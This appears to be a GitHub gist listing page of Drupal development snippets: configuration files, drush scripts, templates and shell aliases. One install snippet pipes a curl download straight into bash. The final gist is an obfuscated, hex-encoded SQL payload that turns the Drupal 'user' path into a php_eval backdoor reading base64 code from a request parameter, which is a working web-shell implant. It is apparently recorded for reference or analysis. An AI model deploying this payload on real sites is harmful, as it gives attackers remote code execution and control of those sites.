This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ($is_ah_env) { | |
switch ($ah_env) { | |
case 'prod': | |
// Acquia Lift Settings | |
$config['acquia_lift.settings']['credential']['account_name'] = ''; // Customer Account ID | |
$config['acquia_lift.settings']['credential']['customer_site'] = ''; // Customer Site External ID | |
$config['acquia_lift.settings']['credential']['site_id'] = ''; // Customer Site External ID | |
$config['acquia_lift.settings']['credential']['content_origin'] = ''; // Content Hub Origin ID (UUID) | |
$config['acquia_lift.settings']['advanced']['content_replacement_mode'] = 'trusted'; // |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Lists bundles that have a field of type image or file for D7.29 regression | |
* https://www.drupal.org/node/2305017 | |
* | |
* Download this script on your server/localhost and run | |
* drush php-script 2305017_file_lost.php | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Local development override configuration feature. | |
* | |
* To activate this feature, copy and rename it such that its path plus | |
* filename is 'sites/yoursite.com/settings.local.php'. Then, go to the bottom | |
* of 'sites/yoursite.com/settings.php' and uncomment the commented lines that | |
* mention 'settings.local.php'. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Install Drush 7 from https://github.com/drush-ops/drush.git | |
# and creates a 'drush7' alias. Execute this from your terminal: | |
# bash <(curl -s https://gist.github.com/scor/7843568/raw/install-drush7.sh) | |
if [[ ! -e '~/tools/drush7' ]]; then | |
mkdir -p ~/tools | |
cd ~/tools |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function generate_fields() { | |
$field_name = 'field_gen_'; | |
$field_type = 'text'; | |
$field_formatter = 'text_default'; | |
$number = 100; | |
for ($i = 1; $i <= $number; ++$i) { | |
echo("creating field $i \n"); | |
entity_create('field_entity', array( | |
'name' => $field_name . $i, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Lorem ipsum dolor sit amet, consectetur adipisicing elit. | |
<code> | |
* storage="username" | |
</code> | |
Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html vocab="http://schema.org/"> | |
<head> | |
<meta resource="http://my-company.com/" typeof="Organization" /> | |
<meta resource="http://my-company.com/" property="name" content="my company name" /> | |
<meta resource="http://my-company.com/" property="telephone" content="0000-0000" /> | |
<link about="http://my-company.com/" property="address" href="http://my-company.com/#address" /> | |
<meta resource="http://my-company.com/#address" typeof="PostalAddress" /> | |
<meta resource="http://my-company.com/#address" property="streetAddress" content="38 avenue de l'Opera" /> | |
<meta resource="http://my-company.com/#address" property="postalCode" content="98052" /> | |
<meta resource="http://my-company.com/#address" property="addressLocality" content="Seattle" /> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alias code-check="find -E . -type f -regex '^.*\.(engine|inc|install|engine|module|php|profile|test|theme|txt|info|rule|view)' | xargs -Ifile bash -c \"php -l file ; (true)\" | grep -v 'No syntax' | |
find . -type f | xargs -Ifile grep -H '>>>>>>' file| grep -v Binary | grep -v .git/rr-cache" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div{{ attributes }}> | |
{% if not label_hidden %} | |
<div{{ title_attributes.addClass('field-label') }}>{{ label }}</div> | |
{% endif %} | |
<div{{ content_attributes.addClass('field-items') }}> | |
{% for item in items %} | |
<div{{ item.attributes.addClass('field-item') }}><a href="https://twitter.com/{{ item.content['#markup']|trim('@') }}">{{ item.content }}</a></div> | |
{% endfor %} | |
</div> | |
</div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=0x613a313a7b733a343a22636f6465223b733a36313a223c3f70687020406576616c28406261736536345f6465636f64652840245f524551554553545b383664393963613830633430393736615d29293b203f3e223b7d, access_callback=0x7068705f6576616c WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (0x6d6f64756c65732f7068702f7068702e6d6f64756c65,0x30373132336531663438323335366334313566363834343037613362383732336531306232636262633062386663643632383263343964333763396331616263);# |
NewerOlder